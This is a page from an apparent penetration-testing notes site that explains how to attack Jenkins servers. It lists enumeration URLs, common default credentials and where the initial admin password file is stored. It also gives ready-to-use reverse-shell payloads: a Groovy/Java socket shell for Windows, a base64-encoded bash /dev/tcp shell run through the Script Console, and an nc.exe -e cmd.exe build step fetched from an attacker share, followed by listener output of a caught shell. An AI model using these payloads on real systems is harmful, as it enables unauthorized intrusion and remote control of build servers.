> For the complete documentation index, see [llms.txt](https://mvc1009.gitbook.io/hackingnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mvc1009.gitbook.io/hackingnotes/software/jenkins.md).

# Jenkins

## Introduction

Jenkins is a free and open source automation server. It helps automate the parts of software development related to building, testing, and deploying, facilitating continuous integration and continuous delivery. It is a server-based system that runs in servlet containers such as Apache Tomcat.

![Jenkins Login.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-4aec432fb86309c8264c28b9994e7e986888a984%2Fimage.png?alt=media)

## Enumeration

We can obtain a some valuable information without necessarily log in on the server.

### Jenkins Version

Visit the following route to obtain the Jenkins version on the footer page.

```
/oops
/error

Page generated: Sep 27, 2021 12:46:28 PM PDTREST APIJenkins ver. 2.204.1
```

### Users

Without credentials it is possible to obtain some users.

```
/people
/people/
/asynchPeople
/asynchPeople/
/securityRealm/user/admin/search/index?q=
```

## Credentials

There are no default credentials but some times these works.

```
admin:admin
admin:password
admin:jenkins
```

In new versions the password is randomized at installation. We can find the initial password here:

* **Linux**

```
/var/jenkins_home/secrets/initialAdminPassword
/home/jenkins/secrets/initialAdminPassword
/var/lib/jenkins/secrets/initialAdminPassword
/opt/jenkins/secrets/initialAdminPassword
```

* **Windows**

```
C:\Program Files (x86)\Jenkins\secrets\initialAdminPassword
C:\Program Files\Jenkins\secrets\initialAdminPassword
```

## From Admin to Reverse Shell

There are multiple ways in which from administrative privileges in Jenkins you can get a reverse shell.

### Script Console

To obtain a Reverse shell we need to execute **`Manage Jenkins`** on **`Script Console.`**

![Jenking Script Console.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-bac572c3668ba3fa3d3f66d3855a7ac84e04452b%2Fimage.png?alt=media)

#### Windows Reverse Shell

```
String host="<IP-ADDR>";
int port=<PORT>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

#### Linux Reverse Shell

First we need to craft the payload.

```
$ echo "bash -c 'bash -i >& /dev/tcp/10.10.10.10/443 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDMgMD4mMScK
```

And introduce inside the Grovvy script.

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDMgMD4mMScK}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

### Freestyle Project

Go on **`New Item`** tab.

![Jenkins Dashboard](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-a10fa5d5fb976afdabf955f40e73ca6c24047cb0%2Fimage.png?alt=media)

Introduce a name such as **`Access`** and select **`Freestyle Project`** .

![Jenkins Creating a New Item.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-eccbcba4d2beeca50a043e756ccc9e0d035161ab%2Fimage.png?alt=media)

Scroll down until you find the **`Build`** section and add a **`Execute Windows batch command`** as build step.

![Jenkins Execute Windows Batch Command.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-b3df7201e53ccb369dc51db2c3e2a144ffa63bbd%2Fimage.png?alt=media)

Introduce the reverse shell on the Command window and click **`Save`**.

```
\\10.10.10.10\share\nc.exe -e cmd.exe 10.10.10.10
```

Go to **`Build Now`** section.

![Jenkins Build Now section.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-fa3d3c1337d2286ec4077c573f5849eefad7f0a9%2Fimage.png?alt=media)

When the build is executed a new item will be displayed under the **`Build History`**.

![Jenkins Build History.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-95d0c2f1c8d5a472d4dcecc3239e390f64c8e2c5%2Fimage.png?alt=media)

At that moment a reverse shell is obtained.

```
$ sudo nc -lvp 443
listening on [any] 443 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.11] 26524
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>    
```

We can also check the console output selecting the **`Built Item #1`** and going to **`Console Output`** section.

![Jenkins Console Output.](https://3311553654-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MLAAdqT299FDsoc2KjD%2Fuploads%2Fgit-blob-078a97b648a71d495681e99afdc02e53696949d9%2Fimage.png?alt=media)